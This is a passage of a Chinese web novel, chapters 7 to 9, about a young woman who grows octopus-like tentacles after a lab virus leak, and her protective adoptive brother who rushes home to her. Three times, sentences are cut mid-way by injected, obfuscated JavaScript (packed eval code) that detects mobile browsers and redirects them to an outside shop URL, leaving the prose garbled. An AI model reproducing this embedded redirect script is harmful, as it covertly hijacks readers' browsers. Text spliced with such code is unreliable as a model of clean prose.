《变成触手了怎么破》 7.喜欢喜欢喜7 北纬70°,晚上八点半,天还是亮的。 唐周恒睡觉的时候喜欢不留一丝光线,窗帘和门都严丝合缝,屋内灰蒙蒙的一片,比窗外的天还要暗。 静谧笼罩着只有他一人的房间,袁清悦的娃娃乖巧地摆在唐周恒的枕头旁。 他无知无觉地躺在依旧有些陌生的床上,双手自然地放在身侧。眉宇间却渐渐拧出浅浅的沟壑。 好像突然从高空中坠落,又好像有什么紧紧地掐住自己的脖子。 惊恐、窒息、无措的感知绕在自己的心间,唐周恒猛地睁开双眼,半晌,眼睛才适应屋内近乎没有光线的环境。 他的呼吸声变得有些沉,唐周恒看着雪白的天花板,在想自己刚刚是不是做了一个噩梦,噩梦将他惊醒了,但他好像不记得噩梦的内容了。 额角和背后都沾上了汗水,唐周恒坐起身,连带着身上纯色的被子掀起,抽出纸巾擦干额角的湿润。 他看了眼时间,凌晨两点多。 任何一个人因为噩梦在半夜惊醒都不会有什么好脾气,唐周恒也不例外。 他蹙起眉头,渐渐从朦胧的睡意中清醒过来,好像很久没有做噩梦了,上一次做噩梦还是出差第一天。 这半个月以来的考察工作并不算轻松,所以每天夜里他基本躺下便累睡着了。 累得他的大脑连做噩梦的精力都没有了。 但他平时其实很容易做噩梦。 这些噩梦并不是什么怪力乱神的奇怪梦境、也不是什么血腥暴力的梦境。 这些对于唐周恒来说的噩梦几乎都停留在一个时期——和小悦在四处逃难的那段时间。 他总是梦见小悦没在那场战争中活下来,又或者是两个人都死在了战争里,饿死的、被炸死的、又或者是被冷死的。 创伤理论中有一种说法,人有可能被困在发生创伤的那个年纪,无法过度成长到下一阶段,对反复而麻木地回味创伤阶段的经历。 有时候唐周恒也会在想,自己到底是不是被困在了十岁那年。 可是无论困在哪一年,他都只有小悦了。 唐周恒低下头,眼睛泛起一阵酸涩。他的大脑又不可控制地想到了袁清悦。 而他心底突然泛起一种很诡异的不安与恐慌,比他刚刚被不记得的噩梦惊醒了还要恐慌。 他的心脏跳动甚至都像是变得杂乱起来。 他知道现在突然袭来的不安感,与袁清悦有关。 虽然人们都只认为有血缘关系的人才有十指连心、心灵感应与心理共鸣。 但一直以来,唐周恒和袁清悦都似乎能感应到对方。 人类与生俱来的第六感,是为了躲避危险刻入基因中的天赋。 唐周恒忙不迭地翻身将放在床头柜上的手环摸起,随后试图给袁清悦发出通讯申请。 五分钟之后,他没有得到任何答复。 这个时间,正常情况下,她正睡得香,怎么会看见他的消息。 唐周恒怔怔地看着没有任何回复的消息窗口,攥着手环的手心冒出细细的冷汗。 …… “阿嚏!”袁清悦茫然地坐在床上,因为贪图凉快穿的短袖短裤睡衣被浸得湿透了。 贴在身上,将肤色若隐若现地印出。 床单也湿了,就连地上也湿漉漉的。 袁清悦看着绕在自己身上一坨,暂时没法形容的东西,狠狠地拍了拍自己的脸。 嘶,是痛的。 那很坏了,她现在不是在做梦。 袁清悦第三次确认,并不是某只被囚禁在鱼缸里的章鱼因为逃生跑到了她的床上。 而是她的身上长出了和章鱼足高度相似的东西。 浅粉色的触手从腰后绕到身前,攀附在自己的手臂上,又有的几只耷拉在自己的肩膀上。 她皱着眉,人生第一次出现脑子空白这个状态。 谁能告诉她,为什么大晚上,她变异了…… 但她现在来不及思考,因为袁清悦不是被冷醒的,而是被渴醒的。 她张了张唇角,自己的喉咙干得快要像大沙漠了。 就连“水”这个字都喊不出来。 袁清悦被渴得龇牙咧嘴,还没来得及自己伸手去拿放在床头柜上的马克杯,左手边最外侧的触手就握住了马克杯,将杯子端在自己的嘴边。 如果触手有表情的话,袁清悦总觉得它在乖巧地讨夸赞。 窗外的光虚虚照入,触手上的水渍倒映着窗外的光。 袁清悦来不及想那么多,只是猛地用自己右手接过杯子,猛地将杯子里的水喝完。 久旱逢甘霖,爽。 她喉咙间发出被水滋润过后舒爽的喟叹声,意识也逐渐彻底从半夜的深度睡眠中清醒过来。 袁清悦很快就猜到,她没有成为漏网之鱼,她也被实验室泄露的未知病毒感染了。 她那天还在庆幸着唐周恒出差避开了这场怪异的病毒感染,袁清悦如何也想不到自己却有些倒霉地被感染了。 前两日,丁琳瑜还特意给她打电话,说了最近生科所那边的情况,大部分患者都是在生了一场看似普通的病后,才开始异变。 她低头看着还有些湿漉漉的触手,眉头不自觉地微微蹙起。 绕在她身上的粉嫩的触手悻悻地退回她的腰后,袁清悦转身看去,触手竟就在她眼前消失了,而身体也变回了原来正常的状态。 袁清悦又伸手用力拍拍自己的脸颊,嘶,还是很痛。 “咦,触手呢?”袁清悦眨眨眼,又开始怀疑刚刚自己是不是产生幻觉了。 但地面上的水渍还在,床单和被单也湿透了,就连她的睡衣也依旧湿漉漉冰凉凉地黏在她的身上。 袁清悦很讨厌这种感觉。 “阿嚏!”她又打了个大喷嚏。 她感觉自己现在好像被比体温低得多的水浸透了,冷得直发抖。 袁清悦不管不顾地跳下床,将被单和被子都抱起塞到机子里洗,自己则跑到浴室,将自己泡在热乎乎的水里。 热水将她白皙的身体泡得发红,而那消失的触手又突然从身后冒了出来,一同泡在热水里,因为浮力有些虚无缥缈地浮在水中。 袁清悦抿着唇,将手放到水中,试图握住其中一只触手,触手没有躲避,而是被她握在自己的手心中。 软软弹弹的感觉,并没有像刚刚在床上时那样黏糊糊的,袁清悦细细地感受了一下,触感居然和摸自己的皮肤有点像。 她开始试图让触手做出一些动作。 渐渐地,袁清悦发现自己的大脑是完全能控制触手的动作,所以刚刚她口渴想喝水大概也是因为大脑发出了拿水杯的指令。 她对未知事物自然也会害怕,但哪怕她能感觉到害怕,程度也比普通人要轻,因为害怕带来的情绪太淡了,来得快去得也快。 袁清悦的眼睛瞬间亮了亮,自己的好奇心早就盖过了未知的恐惧感。 所以她已经完全接受自己长出触手这件事了。 当然最重要的还是因为它们好像能自主收缩,似乎不会影响到她的日常生活,更没有影响到她大脑的功能。 或许是因为她见过三十年前那场病毒感染异变的患者,一个头顶冒着一朵小雏菊的温柔阿姨;又因为近十年涌出星球之间文明交流学习的热潮,她见过来自遥远星球——莹波星球的地外生命体,一种长得有些像大水母的外星人,身上也有很多触手。 而且,她现在不止有第三只手了,她有八只手了! 古老的神话是三头六臂,她可是八臂诶! 袁清悦站起身,用浴巾将自己整个人都擦干,连带着还挂在身上的触手也一起擦干。 她指尖勾起穿上刚从衣柜里拿出的睡衣,触手又默默地从她身上消失,更准确来说,应该是隐匿起来。 她趿拉着拖鞋回到自己的房间,床垫也被弄湿了地板已经根据智能家电的指令清理干净,但床垫烘干还要一段时间,她现在的床是睡不了了。 她随手抓起一只娃娃和手环跑到了唐周恒的房间。 他在出差之前才洗过自己的床单和被单,上面还带着洗涤剂残留的香味,袁清悦将娃娃扔到唐周恒的床上,自己也躺到他的床上。 这套房子有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404391|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个房间,但一个卧室只有两间。 袁清悦只好睡在唐周恒的床上了,反正她又不是没睡过。 她下意识摸了摸后腰的位置,躺在床的正中间。 要不要把感染的事告诉唐周恒…… 袁清悦纠结了一阵,家里人迟早会知道这件事的。 但她又想到唐周恒现在还在外地,贸然告诉他,会不会让他太担心,会不会影响到他工作。 袁清悦在床上翻了个身,鼻尖轻轻地抵在唐周恒的被子上,香味让她感觉浑身舒适,她打开手环,却发现唐周恒发来了很多讯息。 时间就在八分钟之前。 袁清悦眉心一跳,没再多想,直接给唐周恒回了通话,他很快就接通了。 “小悦。”他的声音有些急促又有些沉,没了往日和她说话那般温和。 “哥,你怎么,半夜发消息过来,怎么了,有什么事吗?” “小悦,你怎么也这会儿醒了?” 听到对面袁清悦的音调很平稳,唐周恒的嗓音又恢复到往常那般温和平静。 “额,我,我那个半夜口渴,渴醒了。” “我刚刚好像突然做了噩梦…… “我记不清梦见什么了,但心里一直很难受,很不安,就好像感觉到你可能遇到什么事了,很担心你,所以才发了那么多消息。” 唐周恒顿了顿,“对不起小悦,是不是打扰到你睡觉了。” 袁清悦摇摇头,想起他们这只是在通话,没有视频,她又马上开口道:“哥哥没有打扰到我睡觉。” 她有时候很喜欢这样,一板一眼地回复唐周恒。每次唐周恒听到她这样的答复,心里又软得一塌糊涂,总是被她可爱到。 “你没事就好,现在夜深了,小悦,赶紧睡吧。” “等一会!哥,我有个很严肃的问题。”袁清悦打断他,怕他要结束通话。 “小悦,你说。” “就是,哥,如果我是一只章鱼的话你会怎么办?” “那我也是一只章鱼,和你在海里一起找吃的,不会让你饿肚子。” 唐周恒不知道袁清悦为什么把这个问题归为严肃这个分类,但他也很认真地回答了她的问题。 “为什么你也是一只章鱼?”袁清悦下意识地问。 “小悦啊,你还记得小时候说过自己很想变成一只小猫吗?” 唐周恒记忆向来很好,他能记得住目前所有已发现的生物名称和种类,也能记得住小悦从小到大和他说过的话。 “你那会还问我,如果不做人,最想变成什么动物?” “小悦,你还记得我那时的回答是什么吗?” 袁清悦很诚实地摇摇头,她不记得这件事了,她从小到大问过唐周恒很多奇奇怪怪的问题。 有时候或许只是脑子里一闪而过的问题,她顺嘴就朝他问出口。 所以她不记得了。 他的目光暗了暗,随即很快又恢复了和煦的笑意,“小悦,我当时的答案也是变成一只小猫。” “但是你知道吗,这并不是因为我喜欢小猫,而是因为小悦想变成一只小猫。 “小悦是小猫,那我也是小猫,小悦是小狗,我也是小狗,小悦要是一只章鱼,那我也是一只章鱼。 “妹妹是什么,哥哥当然也是什么。” “哥……”袁清悦心底好像有些麻麻的。 她下意识摸了摸自己的胸口,从来没有过这种感觉的她怀疑这是不是被感染的后遗症。 她颤了颤身子,脑子里冒出一个有些不合时宜的词:嫁鸡随鸡嫁狗随狗。 “你不害怕吗?”袁清悦问。 她的思维很跳脱,所以很快就接受自己也被未知病毒感染,但唐周恒呢?他会不会觉得她很可怕。 “有什么可怕的。”唐周恒没想到袁清悦居然会问他这个问题。 他的心底像平静的湖面突然被风拂过,泛起一阵涟漪。 “觉得章鱼很奇怪,很可怕?毕竟它们和人类长相差别很大。” “不会害怕的。”唐周恒轻轻地笑道:“因为你是小悦呀。” 8.喜欢喜欢8 不知道唐周恒是不是也刚睡醒,他的声音比平日要悠长,但每个字依旧被温柔包裹着。 袁清悦听着有些犯困,因为他以前也是用这样轻柔却带着不可思议的安抚力量的声音抱着她,和她讲睡前故事。 她躺在他的床上,正在思考要什么时候才告诉唐周恒,她其实也被上周实验室泄露的未知病毒感染了。 刚洗过热水澡的身体还泛着热气,袁清悦将被子将自己一整个人都裹起来。 来自被子上的熟悉花香味儿涌入鼻腔,袁清悦知道这是家里用的洗涤剂香味。 而她现在发现自己对这个明明很熟悉的味道莫名地有些依恋。 她渐渐意识到,自己感冒这两周,鼻子不再堵塞之后,她的嗅觉就比平时要敏锐不少。 比如她每天在房间待着时,甚至能闻到厨房的香味,猜到做饭阿姨给她做的菜式。 又比如她能很明显地就闻到姐姐和爸爸妈妈身上的气味。 以及她最近感觉自己那些个娃娃都香香的,忍不住将头埋在娃娃圆滚滚的肚子上吸一口香味。 难道这也是病毒感染的症状…… 她的思考与唐周恒的停顿,让空气安静了极小一段时间。 “小悦,你怎么突然问这个问题?” “没,没什么,就是突然想问。” 袁清悦摸摸鼻尖,将整张脸彻底埋在被子里,鼻腔被唐周恒被子的香味充斥着。 嗅觉像是比平时放大了无数倍,她忍不住用力地嗅了嗅。 “对了,哥,我刚刚不小心弄湿我的床了,现在借你床睡一个晚上。” 袁清悦不太会撒谎,但好在她平时说话都一个调调,她觉得唐周恒应该听不出什么不对劲。 好在对面唐周恒似乎没有怀疑什么,只轻声道:“嗯,没事,你睡就行了。小悦,很晚了,继续睡吧。” “好,哥,你也早点睡觉。我没事的,现在好困了,要睡了。” 袁清悦将脑袋从被子里探出,呼吸了一口冰凉的新鲜空气,她将手环扔到一旁,捞起娃娃放在怀里翻了个身。 最终她决定还是等唐周恒忙完工作,又或者自己这两天和调查病毒的专项组人员联系之后,再告诉他病毒感染这件事。 她将身前的被子角揉成小球状,将鼻子凑过去。 因为她夏天喜欢将屋内的温度调得很低很凉快,所以她和唐周恒的床上一年四季都不止一张被子。 一张薄一些,一张被子会厚一点。 她现在躺在唐周恒床上盖着的这张就是厚一些的,一面带了一层柔软的绒毛,一面是光滑的绸面。 而袁清悦现在被毛绒的那一面覆盖着,鼻尖轻轻地贴在毛绒面上,让她感觉很舒服。她喜欢毛茸茸的娃娃,其实娃娃长得好不好看她不是很在意,袁清悦只是单纯地喜欢毛绒的触感。 所以她也很喜欢这张被子的触感。其实她和唐周恒的被子都是配套一起买的,她也有一张除了颜色一模一样的被子。 但唐周恒的被子给她带来的感觉和自己的被子有些不一样。或许是因为她现在对气味变得敏感了,又可能是刚刚洗过晾晒的被子有一种独特的清新感,浓郁的洗涤剂香味也让她感到很舒适。 袁清悦忍不住抱着被子猛吸了一顿,等她闻了个够,她裹着被子柔软温热的温度,鼻腔喷出均匀的气息,在唐周恒的床.上沉沉睡了过去。 她在想,唐周恒应该也睡着了,希望后半夜能做一场美梦,不要再做噩梦了。 但唐周恒并没有像她想象中的那样,结束通话之后和她一样上.床睡觉了。 袁清悦挂掉通话之后,耳边属于她的声音彻底消失。 屋子恢复到往常的平静,平时完全会忽略掉的白噪音如今却像是在打鼓一样的吵闹。 唐周恒皱着眉,难以名状的不安感重新涌上心头,因为他知道,刚刚袁清悦对他说谎了。 她从小到大就不会说谎,袁清悦有时候总是觉得自己说话都一个语调和表情,所以不会被别人抓出破绽。 但唐周恒又不是“别人”,他哪怕只是看一眼袁清悦的眼睛都能猜到她今天想吃什么。 他如何不知道她刚刚和他说谎了。 袁清悦有事在瞒着他,而且只是暂时不想让他知道。 有可能是她病还没好感冒复发,也有可能遇到别的事…… 唐周恒的困意早就彻底消散,哪怕眼眶因为白天的过度用眼早就有些酸涩,但他还是强撑着从床边站起身,开始收拾自己还没收拾完的行李。 北纬70°距离家有些远,大概五千公里,但好在他还来得及赶回家。 团队这边的考察工作已经结束,本来让大家多休息一天,后天一起回国。但唐周恒想他大概是等不了和团队的成员一起回国了。 哪怕知道袁清悦没有什么大问题,但他内心的不安感在驱使他让他一定要见到袁清悦。 他只是离开她半个月而已,她就患了重感冒。如果他没有出差,或许她不会感冒,不会生病发烧。 他从小到大这样护着她,生怕袁清悦会有些什么闪失。 唐周恒想过很多次,如果袁清悦没有在战争中活下来,他大概也活不下来找。 他并没有将她当成自己人生的救赎,他们之间的意义不该是用这样一个简单的词汇去描述的。 他也知道,没有袁清悦,他活不下去。 唐周恒很清楚,一个健康的成年人不该把自己活着的希冀寄托在另外一个人身上。 但如果真把活着的希冀放在另外一个人身上,那又如何。 大家都是普通人,他不想去寻找人生活着的意义,但非要他找出一个自己活着理由,那也只能和袁清悦有关。 一直以来唐周恒都很重视他和袁清悦两个人的身体健康状况,就是因为他们好不容易活了下来。 好不容易活到现在,人生最美好的年纪才开始,他一定要和小悦好好地活下去。 一般情况下两个半小时就能从这个岛屿工作站飞到pax市中心机场,但事发突然,他前后耗了快五个小时才回到pax市。 再赶回家又是十分钟之后的事了。 这会儿的天早已亮了,夏天末尾的早晨有着一种独特的清新感,风有些大,从阳台吹进的风在墙壁上摩擦出哗哗声。 初升的日光和煦地映在半高挂起的衣服上,笼罩在上面的金辉像一层薄纱。 家里的模样和自己大半个月前离开时没什么差别,但好像又多了些东西。 唐周恒将自己的行李放在一边,下意识先径直走向了袁清悦的房间。 他推开门时映入眼帘的只有一张拆了床单的床垫。 就连袁清悦的大熊娃娃也没有放在床上,而是乖巧地坐在她房间里的一张椅子上。 唐周恒才想起袁清悦今天睡在他的床上。 袁清悦房间是家里的主卧,唐周恒的卧室则是与主卧只有一墙之隔的另外一间卧室。 两个房间之间的墙面打通了一道门,可以沿着最短的直线距离穿梭两个房间。 当初打通这道门,主要是方便晚上发生什么意外,唐周恒能第一时间去到袁清悦的房间。 不过这意外至今都没有发生,这打通的门现在最重要的作用变成了方便唐周恒半夜去她的房间给她掖被子。 唐周恒转身走向中间的过渡门,走到自己房间后,他只见自己床上微微隆起,袁清悦盖着他的被子睡得正香。 但她不知道半夜又怎么睡的觉,本该好好盖在她身上的被子打横过来盖在了她的身上。 被子盖得住她的上半身,但盖不到她的脚。 裸露在空气的脚踝和脚冷得受不了,袁清悦像一只烤熟的大虾弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14412515|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着腰蜷缩着身子。 唐周恒坐在床边,将盖在她身上的被子重新理好,将她整个人都盖住。 他凑近看了眼袁清悦,第一反应是伸手试探她的体温。 唐周恒的手背手心都是温热的,他将手背轻轻靠了过去。 袁清悦的体温是正常的。 唐周恒呼了一口气,弯腰将她半夜不小心从床上滚到地上的娃娃拾起,他和袁清悦的房间都铺了一个羊毛地毯。 娃娃也只是掉到干净的地毯上。 但唐周恒捡起的时候还是拍了拍或许压根不存在的灰尘,重新将娃娃放到她的身侧。 来回奔波让唐周恒八个小时前才洗过澡的身上又有些腻了。 见袁清悦睡得很沉,也没有发烧生病,他便收拾了一套睡衣,去浴室洗漱一番。 等他重新裹着一身清爽出来时,袁清悦依旧睡得沉。 自从重感冒之后,袁清悦的作息就开始变得有些混乱,因为生病累了,在床上休息了很长一段时间。 后来又因为海洋生命研究所病毒感染的事,她们直接开始休假,有条件可以天天无所畏惧地躺在床上。 加上病愈后的疲惫,让她短暂地打破了自己的生物钟。 以往这个时候的袁清悦肯定醒了,但今天的她还睡得很沉。 但唐周恒知道她现在应该很饿了。 唐周恒坐回床边,低头拂了拂她额前的碎发,又碰了碰她的鼻尖。 他不能贸然直接喊出声叫醒袁清悦,要不然她得被吓一大跳。 唐周恒弯下腰,温热的手心贴在袁清悦的手背上,指尖沿着手背轻轻地抚摸了几下。 手背上的触觉感受器比较敏感,身体很容易对他这个外界带来的触摸做出反应。 果不其然,没过多久,袁清悦睁开了眼睛。 困意让她又闭上了眼睛,直到两秒后,袁清悦又猛地睁开眼睛,脸蛋从被窝里探出。 “哥?”袁清悦揉揉眼。 “你怎么回来了?” 唐周恒伸手握住袁清悦的胳膊,将她从床上扶起身,“工作前两天就搞定了,所以赶回家了。” 他眯了眯眼睛,试图从袁清悦身上看出什么不对劲的地方。 袁清悦刚醒,困得不得了,根本没有发现唐周恒在观察她。 唐周恒的双手还搭在她的肩上,他的靠近,突然让袁清悦闻到了一股浓郁的香味。 她下意识地将身子朝唐周恒的方向趋近,从鼻腔发出两声吸气声。 袁清悦的鼻尖距离他的喉结有些近,近到他都能感觉到袁清悦呼吸的起伏和温度。 他怔了一瞬,随即保持自己的姿势,任由袁清悦的靠近。 但她没有再靠过来了,而是冷不丁地开口道:“哥,你身上好香。” 唐周恒僵硬了一瞬,“嗯,可能是我刚刚洗完澡。” 袁清悦抬起头,睁着那双总是求知欲爆棚的双眼,随后摇摇头,“不是,不是沐浴露的香味!” 她反手甩开唐周恒搭在她手臂上的双手,直接抱住他,又凑近了一些,直到她的鼻尖贴在他的颈侧,她才停下自己继续靠近的动作。 “哥,你好香,让我闻一闻。” 唐周恒怕她重心不稳从床上掉下去,扶着她的腰,朝她贴近,眼睛轻轻阖上。 他现在非常需要袁清悦的拥抱,需要她的触摸,需要她抱紧自己。 最好是很用力很用力,用力到像是要把他吞进肚子里那样抱住他。 袁清悦对他身上的香味失了智,直接整个脑袋埋进他的肩窝里,鼻尖连带着唇瓣贴到了他敏感至极的脖颈处。 直至腰腹上传来一阵触感,唐周恒意识到袁清悦从他衣服底下探进的手摸到了他的腹肌处。 唐周恒浑身像是流过一阵电流,有些语不成调地低喃:“小,小悦……” 9.喜欢喜9 唐周恒的声音就像有魔力似的,让袁清悦感觉到了一种空前的舒爽。 她的手贴近在他的腹部,摸了一把之后才顺手将手臂环在他的腰上。 他宽松的睡衣被她的手臂收紧贴在自己的腰腹上,刚刚腹部上被她指尖掠过的地方,忍不住在轻轻地颤栗。 袁清悦嗅他身上气味的动作有些不知轻重,渐渐的她的呼吸变得急促起来。 唐周恒轻柔地拍拍她的背,“小,小悦,别急,你慢慢闻。” 他已经意识到袁清悦现在有些不对劲,哪怕她以前也不是没说过他身上香香的,但也没有像现在这样摁住他,不受控制地不断汲取着他身上的气味。 但他不舍得打断她的动作,他很久没有像现在这样被她那么用力地抱住了。 属于她的体温隔着单薄的睡衣布料熨到自己的身上,她头顶的发丝还带着清香。 心底不安的沟壑被她的触碰填满…… 袁清悦对唐周恒的提醒置若罔闻,依旧不管不顾地吸着他的气味。 在鼻腔感受到香味的同时,袁清悦感觉自己的唾液似乎也在分泌,喉咙止不住地开始吞咽动作。 随之她忍不住发出细小的听起来像“哼哼”的声响。 这是她身体感到愉悦时会下意识发出的声音,就像人类开心的时候会哈哈地笑,小猫舒服的时候会咕噜噜地叫。 而袁清悦身体产生愉悦和满足时,她会无意识地发出轻微、低沉的轻哼。 她好像很开心,即使对于袁清悦来说,她所能产生的情绪很难达到正常人所能产生的喜悦值。 她身体的温度明明和正常人一样,但唐周恒觉得很烫。 烫到他感觉自己肩窝的肌肤近乎要被她的触碰灼烧了一般,唐周恒却没有躲开,而是将身子彻彻底底地朝袁清悦的方向贴近。 感受到他的动作后,袁清悦清醒了一秒,想起自己答应过他,等他回家了就抱抱他。 袁清悦猜,唐周恒的肌肤饥渴症或许是发作了,于是她环在他腰上的手臂下意识环得更紧了。 她感觉到唐周恒隆起的胸部肌肉,袁清悦抽出两分清醒的意识思考了一下,他的胸好像比自己的还要大了。 只是之前抱他的时候,他身上的肌肉是软弹的,而袁清悦觉得唐周恒现在身上有点硬邦邦的。 她揪着唐周恒的睡衣,鼻尖有一下没一下地贴近到他脖颈上的肌肤。 还不忘又说了一遍:“为什么你身上那么香?” 袁思云养了一只小白猫,是以前在拍戏剧组捡到的流浪猫,脾气温顺得不得了,第一次见到袁清悦的时候还会在她脚边打滚露肚皮。 和袁思云养的这只小白猫熟了之后,袁清悦没少抱过这只猫猫吸,小猫也乖乖地在她面前被她吸。 而袁清悦现在就感觉自己好像抱着一只巨型猫猫在吸,虽然唐周恒不是毛茸茸的,但她的身躯正好能窝在他的怀里,抱起来很舒服。 唐周恒身上散发的香味很浓郁却不刺鼻,气味因子充斥在自己的鼻腔中,让袁清悦的大脑在驱使她不受控、不停歇地去汲取他身上的香味。 哪怕她现在已经闻了很久了,都还没有产生嗅觉适应,嗅区黏膜上依旧不断地受到气味分子的刺激。 自从袁清悦的嗅觉发生变化之后,在她的认知里,每个人的味道是不一样的。 上个月爸妈去旅游,直到上周才回家,得知袁清悦前一阵得了重感冒,他们从家里赶来市中心这边看望她,因为唐周恒不在,只好一家四口出去吃了顿饭。 那时袁清悦就发现了,不只是姐姐身上有香味,爸爸妈妈身上也有,而且这些香味其实就是他们平时的气味,袁清悦以前也能感受得到,但绝对没有现在闻起来浓郁。 袁清悦回忆了一下。 姐姐是玫瑰花,热烈又艳丽;妈妈是茉莉花,清香温柔;而爸爸是雪松,大概是小说里霸道总裁的味道。 而现在抱着唐周恒猛吸的她却说不出他的味道是什么样的,她只知道这个气味很香很香,香到她完全不可控地让自己下意识摁住唐周恒去闻他的气味。 他的味道有点像棉花糖那样柔软又甜蜜,但又一点又不腻味,身上混杂着与她身上相同沐浴露气味的同时,又有独属于他身上的气味。 熟悉且放大数倍的清香感让她更喜欢了。 袁清悦感觉自己已经因为呼吸过度有些头晕了,本来晨起的她还没从一夜的梦境中抽离出来,意识还有些朦胧。 她身体有些失力地倒在唐周恒的怀里。 下巴将将好能搭在他的锁骨上,鼻尖贴近肌肤的同时,嘴唇也与唐周恒的肌肤相贴。 “小悦,小悦……”在人前向来理智清醒的人此刻控制不住身体的抖动。 小悦正在抱着他,小悦正在他的怀里。 小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦小悦…… 此刻他的脑子里只充斥着与袁清悦有关的画面,他的眼眶不受控制地泛起潮湿,连环住她腰际的手都在微微地发抖。 感觉到唐周恒胸肌抵着自己的身体,袁清悦将脑袋从他的肩窝处抬起,灰色的眼瞳在清晨的光照下显得平淡又冷静,却还藏有一丝不易察觉出来的好奇。 唐周恒正闭着双眼,感觉到她的远离,双手勾住她不让袁清悦离开他的怀抱。 袁清悦如他所愿又将鼻尖凑到他的身上,轻嗅与轻哼声并起,手再度从他的衣服下摆处探去,贴在他的腹部上,渐渐向上移动。 不过几秒,唐周恒突然感觉到这触感有些不对劲,他双手环着她的腰,手腕处忽然抵住了什么柔软的东西。 直到唐周恒再睁开眼时,因为兴奋与满足的情绪,生理性逼出的泪水已然从眼角落下。 他看见了一簇簇从她腰后探出的形似章鱼足的触手贴在了自己的身上。 掠过衣物,直接贴在他的肌肤上。 而袁清悦细长的手指也贴在他的腹部上。 唐周恒明显怔愣了一瞬,瞬间想起夜里袁清悦问他的问题:“哥,如果我变成一只章鱼了你会怎么办?” 袁清悦平时的脑回路会有些奇怪,但实际上每次她问出的问题都是有依据和根源的,并不是完全无厘头的提问。 所以她那个时候,就…… 唐周恒精神瞬间紧绷了起来。 他有个关系还不错的朋友,就在目前这起实验室病毒泄露感染事件专项组里做医学顾问,因为之前担心袁清悦也有可能被感染,唐周恒主动了解了最近的近况。 从这个朋友的口中,他得知了目前一些被感染的研究员病症情况。 他此刻联想到了实验室的病毒泄露事件。她重感冒,她的触手以及她现在对气味的痴迷,可能都是病毒感染的病症…… 当然,唐周恒暂时想不到病毒感染以外的理由去解释袁清悦为什么长出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420175|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了触手。 而袁清悦脑袋还埋在他的颈侧,沉迷于汲取他身上的香味。 完全没意识到自己的触手突然又从她身上冒了出来,还和她的手一起摸向他上身的肌肤。 甚至还有两只触腕环住了唐周恒的整个腰。 直到袁清悦感觉到唐周恒没有声音,也没有什么动作,她才缓缓抬起头。 “哥。”醒来没多久的袁清悦说话还带了点鼻音。 “小悦。”唐周恒的声音有些不平稳,并不像他平时唤她那样平静温和。 袁清悦有些疑惑地望向唐周恒,却发现唐周恒的目光落在自己的身后,她这才意识到触手不受控地出现了。 她猛地推开了唐周恒,手上的力气一时没控制住,直接将唐周恒从床上推了下去。触手像是被吓到了似的,直接蜷缩在袁清悦的身后。 唐周恒站在床边,皱起眉,目光没有恐惧没有惊慌没有疑惑,而是有着一点莫名的悲怆。 袁清悦对他的反应有些不解,她以为他会被触手吓到。 “小悦,为什么不告诉我。”他重新走到床沿边,抬手将她睡醒有些炸毛的长发顺直。 从小到大,袁清悦有什么事,第一个知道的人永远是唐周恒。 可是她现在居然会瞒着他了。 唐周恒的眼睛似乎又蒙上了一层水雾,刚刚那颗泪是因为肌肤饥渴得到满足之后落下的,而现在他有些难过。 如果不是他出差了,袁清悦不一定会被感染。 都怪他,没有照顾好袁清悦。 十几年前的画面又不可控地浮现在他的脑海中,小时候的他差一点就看着袁清悦在自己面前死去,现在他不可能再让这种情况出现了。 “哥……” 袁清悦抬手握住他梳理她头发的手。 “你不是还在工作吗,我怕和你说了你在那边担心我,影响到你的工作,哪知道你今天就回家了嘛。” 她这样一句轻飘飘的话,让唐周恒瞬间舒了心,原来她是因为担心他才没和他说的,不是故意瞒着,不是因为他不配知道。 “但你不舒服要告诉我,不能自己扛着。” 他弯下腰,将手撑在床上,一只腿微屈跪在床上,弯腰看着她。 他想仔细看看袁清悦长出的那些触手,可他还没来得及靠近,袁清悦身后的触手突然消失不见。 就在他眼前消失不见。 如果不是刚刚他确切地感受到了触手和她掌心的触感,唐周恒甚至感觉这是意念产生的幻境。 袁清悦捂住自己的腰,朝着唐周恒眨眼,“好吧哥哥,我只是怕影响你工作而已。” “不会,这个世界上所有事都没有你重要。” 唐周恒停顿了半秒,很多事情很多情感,他要直截了当地和袁清悦说。 